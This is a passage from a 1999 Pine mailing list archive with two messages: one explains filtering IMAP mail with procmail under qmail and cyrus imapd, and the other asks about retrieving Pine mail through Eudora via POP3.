(8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id DAA09041; Thu, 25 Feb 1999 03:07:48 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id DAA16904 for ; Thu, 25 Feb 1999 03:05:21 -0800 Received: from living-source.com (blackice.living-source.com [195.52.135.33]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id DAA02227 for ; Thu, 25 Feb 1999 03:05:20 -0800 Received: (qmail 29855 invoked from network); 25 Feb 1999 11:05:19 -0000 Received: from unknown (HELO metroplex.living-source.com) (195.52.133.21) by andromeda.living-source.com with SMTP; 25 Feb 1999 11:05:19 -0000 Message-Id: Date: Thu, 25 Feb 1999 12:06:38 +0100 (=?ISO-8859-1?Q?Westeurop=E4ische_Normalzeit?=) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: Adi Sieker To: Pine Discussion Forum Subject: procmail and imap MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Pine Info X-X-Sender: adi@blackice.living-source.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi all, after my statement that yes you can filter imap mails with procmail. I have been asked to elaborate on that. Well here goes. We are using qmail as the MTA with cyrus imapd. To filter mails with procmail we call procmail from within the .qmail. Then in the .procmail the cyrus deliver program is called to deliver to the right imap mailbox. One thing you have to take care of is a Standard procmail recipe which catch everything that falls through your other recipes and delivery to a default mailbox, else they Land in Nirvana. This works very well for us here, but then again we don't have 100+ users. So the load this causes is of no real concern. I actually have no Idea if this scenario causes excesive load or not. Regards ADi -- adi@living-source.com tel:+761 / 15 25 8-13 http://www.living-source.com fax:+761 / 15 25 8-50 -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+pine-info; Thu, 25 Feb 1999 15:24:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA29413 for ; Thu, 25 Feb 1999 15:24:02 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA21710; Thu, 25 Feb 1999 15:24:00 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with SMTP id PAA23827; Thu, 25 Feb 1999 15:14:11 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.2+UW99.01) with ESMTP id PAA43508 for ; Thu, 25 Feb 1999 15:09:24 -0800 Received: from earlham.edu (YANG.EARLHAM.EDU [159.28.1.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id PAA30813 for ; Thu, 25 Feb 1999 15:09:23 -0800 Received: from earlham.edu (root@LEVTOMA.EARLHAM.EARLHAM.EDU [159.28.165.165]) by earlham.edu (8.8.8/8.8.8) with ESMTP id SAA16597 for ; Thu, 25 Feb 1999 18:08:56 -0500 (EST) Message-Id: <36D5D925.9490339E@earlham.edu> Date: Thu, 25 Feb 1999 18:13:41 -0500 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk From: M Lev-Tov To: Pine Discussion Forum Subject: getting pop3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: root@earlham.edu X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I want to get teh email sent to my pine account using Eudora. Is this possible? If so, how do I get my POP3 without contacting my service provider? -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ -----------------------------------------------------------------